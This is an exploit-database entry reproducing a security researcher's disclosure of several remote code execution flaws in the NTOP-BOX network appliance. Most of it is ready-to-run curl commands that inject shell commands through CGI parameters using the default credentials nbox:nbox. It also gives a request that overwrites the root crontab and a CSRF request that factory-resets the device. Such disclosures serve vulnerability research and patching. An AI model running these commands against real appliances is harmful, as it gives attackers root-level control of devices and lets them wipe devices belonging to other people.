Remote Code Execution in NTOP-BOX Appliance

vendor:

NTOP-BOX

by:

Javuto

9,8

CVSS

HIGH

Remote Code Execution

CWE

Product Name: NTOP-BOX

Affected Version From: 2.3

Affected Version To: 2.5

Patch Exists: YES

Related CWE: N/A

CPE: a:ntop:ntop_box

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2016

Remote Code Execution in NTOP-BOX Appliance

Multiple Remote Code Execution vulnerabilities were found in NTOP-BOX Appliance. These vulnerabilities can be exploited by sending specially crafted POST and GET requests to the vulnerable application. The issues were found originally in nbox 2.3 and confirmed in nbox 2.5.

Mitigation:

Upgrade to the latest version of NTOP-BOX Appliance

Source

Exploit-DB raw data:

E-DB Note: Source ~ http://carnal0wnage.attackresearch.com/2016/08/got-any-rces.html

(The issues were found originally in nbox 2.3 and confirmed in nbox 2.5)



To make things easier, I created a Vagrantfile with provisioning so you can have your own nbox appliance and test my findings or give it a shot. There is more stuff to be found, trust me :)

https://github.com/javuto/nbox-pwnage 






*Replace NTOP-BOX with the IP address of your appliance (presuming that you already logged in). Note that most of the RCEs are wrapped in sudo so it makes the pwnage much more interesting:

RCE: POST against https://NTOP-BOX/ntop-bin/write_conf_users.cgi with parameter cmd=touch /tmp/HACK
  curl -sk --user nbox:nbox --data 'cmd=touch /tmp/HACK' 'https://NTOP-BOX/ntop-bin/write_conf_users.cgi'



RCE: POST against https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi with parameters interface=;touch /tmp/HACK;
  curl -sk --user nbox:nbox --data 'interface=;touch /tmp/HACK;' 'https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi'



RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap
  curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap'



RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22
  curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22'



RCE: POST against https://NTOP-BOX/ntop-bin/do_mergecap.cgi with parameters opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit%200
  curl -sk --user nbox:nbox --data 'opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit 0' 'https://NTOP-BOX/ntop-bin/do_mergecap.cgi'

There are some other interesting things, for example, it was possible to have a persistent XSS by rewriting crontab with a XSS payload on it, but they fixed it in 2.5. However the crontab overwrite (Wrapped in sudo) is still possible:

  GET https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON

  curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON'



The last one is a CSRF that leaves the machine fried, by resetting the machine completely:

  GET https://NTOP-BOX/ntop-bin/do_factory_reset.cgi

  curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_factory_reset.cgi'



Modules for metasploit and BeEF will come soon. I hope this time the issues are not just silently patched...



If you have any questions or feedback, hit me up in twitter (@javutin)!



Have a nice day!